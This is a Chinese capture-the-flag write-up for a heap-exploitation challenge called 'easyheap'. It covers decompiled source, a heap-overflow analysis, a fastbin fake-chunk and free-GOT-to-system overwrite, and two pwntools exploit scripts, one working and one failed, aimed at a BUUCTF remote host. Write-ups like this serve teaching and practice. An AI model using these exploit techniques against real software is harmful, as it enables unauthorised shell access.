# 1. 分析程序信息

64 位程序,开启了 nx 和 canary

# 源代码:

# main:

c
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf[8]; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]
  v5 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, buf, 8uLL);
      v3 = atoi(buf);
      if ( v3 != 3 )
        break;
      delete_heap();
    }
    if ( v3 > 3 )
    {
      if ( v3 == 4 )
        exit(0);
      if ( v3 == 4869 )
      {
        if ( (unsigned __int64)magic <= 0x1305 )
        {
          puts("So sad !");
        }
        else
        {
          puts("Congrt !");
          l33t();
        }
      }
      else
      {
LABEL_17:
        puts("Invalid Choice");
      }
    }
    else if ( v3 == 1 )
    {
      create_heap();
    }
    else
    {
      if ( v3 != 2 )
        goto LABEL_17;
      edit_heap();
    }
  }
}

# delete_heap():

c
unsigned __int64 delete_heap()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]
  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&heaparray + v1) )
  {
    free(*(&heaparray + v1));
    *(&heaparray + v1) = 0LL;
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v3;
}

# 133t();【后门】

c
int l33t()
{
  return system("cat /home/pwn/flag");  // 有后门
}

# create_heap()

c
unsigned __int64 create_heap()
{
  int i; // [rsp+4h] [rbp-1Ch]
  size_t size; // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]
  v4 = __readfsqword(0x28u);
  for ( i = 0; i <= 9; ++i )
  {
    if ( !*(&heaparray + i) )
    {
      printf("Size of Heap : ");
      read(0, buf, 8uLL);
      size = atoi(buf);
      *(&heaparray + i) = malloc(size);
      if ( !*(&heaparray + i) )
      {
        puts("Allocate Error");
        exit(2);
      }
      printf("Content of heap:");
      read_input(*(&heaparray + i), size);
      puts("SuccessFul");
      return __readfsqword(0x28u) ^ v4;
    }
  }
  return __readfsqword(0x28u) ^ v4;
}

# edit_heap()

c
unsigned __int64 edit_heap()
{
  int v1; // [rsp+4h] [rbp-1Ch]
  __int64 v2; // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]
  v4 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&heaparray + v1) )
  {
    printf("Size of Heap : ");
    read(0, buf, 8uLL);
    v2 = atoi(buf);
    printf("Content of heap : ");
    read_input(*(&heaparray + v1), v2);
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v4;
}

# 2. 逻辑分析

这道题是 的菜单题

  • main 函数:循环进行选择
  • delete_heap 函数:选择 Index号 (0~9 之间)

  • 133t() 函数,可以得到 flag ,但是需要让 v3=4869无符号整型magic>0x1305
  • create_heap()

创建完堆也要输入内容

  • edit_heap ,

# 3. 漏洞分析

heaparray_add 存放的是某个地址,而 edit 是通过这个地址,来修改这个地址内对应的值

当我们把 free_got 的地址溢出填入到 heaparray_add[0] 处,通过编辑使 free_got 内部要执行的 free操作 修改为 system ,这使我们后面调用 free 的时候会执行 system , 当一个 chunkdata 区域为 /bin/sh 时,释放该 chunk 即可 getshell (这里为什么 data 的值被当作了 system 的参数有待考究)

【下面的想法没成功】

首先想要获取 flag 就需要让 v3=4869 ,由于没有限制我们可以直接输入,而还需要满足 magic 条件,magic 初始值未知,发现创建堆块,和后面编辑的堆块大小都没有限制条件,并且后面编辑也没有和申请的大小进行对比,这样我们就可以进行堆溢出操作,我想到是利用 double free 通过申请两个堆块,然后释放一个,利用溢出改变释放的堆块的 fd,修改 fd 指向 magic 地址,然后申请回来进行编辑值,然后就可以得到 flag 了

# 调试一下


发现有个 tcachebins , 看了题目上说明是 Ubuntu16,一般 glibc 版本为 2.23-2.26,因此要切换版本

利用命令:

patchelf --set-interpreter ~/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so --set-rpath ~/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ ~/Desktop/buuctf2/easyheap

切换后就为 fastbin 了(详细的说明在文章 "babyhep_0ctf_2017")

查看存储情况:( x/30gx

申请 0,1,2 大小为 0x10,释放 index 1

# edit()

选择 index 0,大小为 0x20,输入 eee

可以从上面看到,覆盖了以前的 aaa

试试溢出,选择 index 0,大小为 0x20,输入 aaaabbbbccccddddeeeeffffgggg

发现已经被覆盖了(这里不知道是什么原因,输入的值前面总会有个字符 a

# 选择 fd 指向地址

由于 fd 指向下一个 chunkpre_size 位,这里通常占 0x10 大小( pre位和size位 ),所以我们为了能写入 magic 的位置,所以要让 fd 指向 magic地址 的低地址

由于不能任意选取地址(因为 malloc 会有检测机制,会在我们申请的时候检测 size 位是否符合,所以我们要构造一个 fake_chunk

先找一个 magic 的低地址,发现有个 0x7f,可以通过适当的偏移来得到一个 0x7f

这样就找到了一个满足 fake_chunk 的地址(0x6020ad)

0x6020b0-0x3 = 0x6020ad

# 总结利用方式

creat 申请 2 个堆块 0,1;delete 释放 1,利用 edit 溢出到 1,修改 1 的 fd 为 0x6020ad ;收回后该 fake_chunk , 改变 magic 的值,改变最后选择时输入 4869 即可 (没有利用成功)

creat 申请 3 个堆块 0 ,1 , 2 (只用两个行不通,因为申请两个 chunk 的的话,写入 /bin/sh 只能在 chunk0, 而后面会修改 heaparray[0] 的地址为 free_got 的地址,但是 chunk0 访问该地址内容并且可以输入内容,将 free 改为 system 时就会覆盖我们写入的 /bin/sh ,这样无法 getshell ) ,释放堆块 2,利用堆块 1 溢出改变堆块 2 的 fd 的地址为 fake_chunk 地址(溢出时顺便输入字符串 /bin/sh ),此时 fastbin 内: chunk2->fake_chunk ,再次 creat 两次:先是申请 chunk2,然后申请 fake_chunk

通过溢出 fake_chunk 到 heaparray,修改 heaparray [0] 的内存放的地址为 free_got ,由于 chunk0 也是根据 heaparray数组 内存放的地址来寻址,修改后就会访问到 free 的内容可以修改成为 system_plt , 这样使用 free 函数时就会执行 system ,这时 free(chunk1) 同等与 system("/bin/sh")

# 4.exp:

这里不用 sendline 来换行(因为换行符调了几个小时)

n
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
p=remote('node4.buuoj.cn',26996)
#system=0x0400700
e=ELF("./easyheap")
system_add=e.symbols["system"]
free_got=e.got["free"]
def creat(size,content):
    p.sendafter("Your choice :","1")
    p.sendafter("Size of Heap : ",str(size))
    p.sendafter("Content of heap:",content)
def edit(index,size,content):
    p.sendafter("Your choice :","2")
    p.sendafter("Index :",str(index))
    p.sendafter("Size of Heap : ",str(size))
    p.sendafter("Content of heap : ",content)
    
def delete(index):
    p.sendafter("Your choice :","3")
    p.sendafter("Index :",str(index))
#def dump(index):
    #p.sendlineafter("Command: ","4")
    #p.sendlineafter("Index: ",str(index))
creat(96,"aaaa") #0
creat(96,"bbbb") ##1 
creat(96,"cccc\n") #2
#creat(16,"dddd\n") #3
delete(1) 
payload=b"/bin/sh\x00"+b"a"*88+p64(0)+p64(0x71)+p64(0x6020ad)#+b"a"*33+p64(free_got)
edit(0,len(payload),payload) #0
creat(96,"aaaa") #1
#edit(1,0x60,"/bin/sh")
payload2=b"a"*0x20+b"aaa"+p64(free_got)
creat(96,payload2) #fake_chunk
#edit(4,len(payload2),payload2)
paylaod3 = p64(system_add)
edit(0,len(paylaod3),paylaod3)
#edit(0,len(p64(system_add)),p64(system_add))
delete(0)
#p.recv()
p.interactive()

.
.
.
.

第一开始失败的脚本

n
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
p=remote('node4.buuoj.cn',28377)
def creat(size,content):
    p.sendlineafter("Your choice :","1")
    p.sendlineafter("Size of Heap : ",str(size))
    p.sendlineafter("Content of heap:",content)
def edit(index,size,content):
    p.sendlineafter("Your choice :","2")
    p.sendlineafter("Index :",str(index))
    p.sendlineafter("Size of Heap : ",str(size))
    p.sendlineafter("Content of heap : ",content)
    
def delete(index):
    p.sendlineafter("Your choice :","3")
    p.sendlineafter("Index :",str(index))
#def dump(index):
    #p.sendlineafter("Command: ","4")
    #p.sendlineafter("Index: ",str(index))
creat(0x10,"0")
creat(0x10,"0")
#creat(0x10)
#allocate(0x10)
#allocate(0x80)
delete(1)
#free(2)
payload=p64(0)+p64(0)+p64(0)+p64(0x21)+p64(0x6020ad)+b"a"*19+p64(9999)
edit(0,0x30,payload)
creat(0x10,"0")
payloda2=b"a"*3+p64(9999)
creat(0x60,payload)
p.sendlineafter("Your choice :","4869")
p.recv()
#payload1=p64(0)*2+p64(0)+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80)
#fill(0,len(payload1),payload1)
#payload2=p64(0)*3+p64(0x21)
#fill(3,len(payload2),payload2)
#allocate(0x10)
#allocate(0x10)
#payload3=p64(0)*3+p64(0x91)
#fill(3,len(payload3),payload3)
#allocate(0x80)
#free(4)
#dump(2)
#main_arena_88=u64(p.recvuntil(b'\x7f')[-6:]+b'\x00\x00')
#libc_base=main_arena_88-0x3c4b78 
#5
#fake_chunk= libc_base+0x3c4aed 
#6
#allocate (0x60) #回收一部分 chunk4
#free (4)  #使 chunk4 进入 fastbin 中
#payload4=p64 (fake_chunk)  #改写 chunk4 的 fd 使 fake_chunk 进入 fastbin
#fill(2,len(payload4),payload4)
#7
#allocate (0x60)  #index4,分配 chunk4
#allocate (0x60)  #index5,分配 fake_chunk
#因为 malloc_hook=main_arena-0x10,fake_chunk=mian_arena-0x33
#所以 malloc_hook=fake_chunk+0x23 (fake_chunk+0x33-0x10)
#payload5=p64(0)+p64(0)+p8(0)*3  #0x13
#payload5+=p64 (libc_base+0x4526a)  #0x4526a 由 one_gadget 查找得到
#fill(6,len(payload5),payload5)
#allocate (0x60)               #index6, 执行一次就会执行 malloc_hook,就可以 getshell
p.interactive()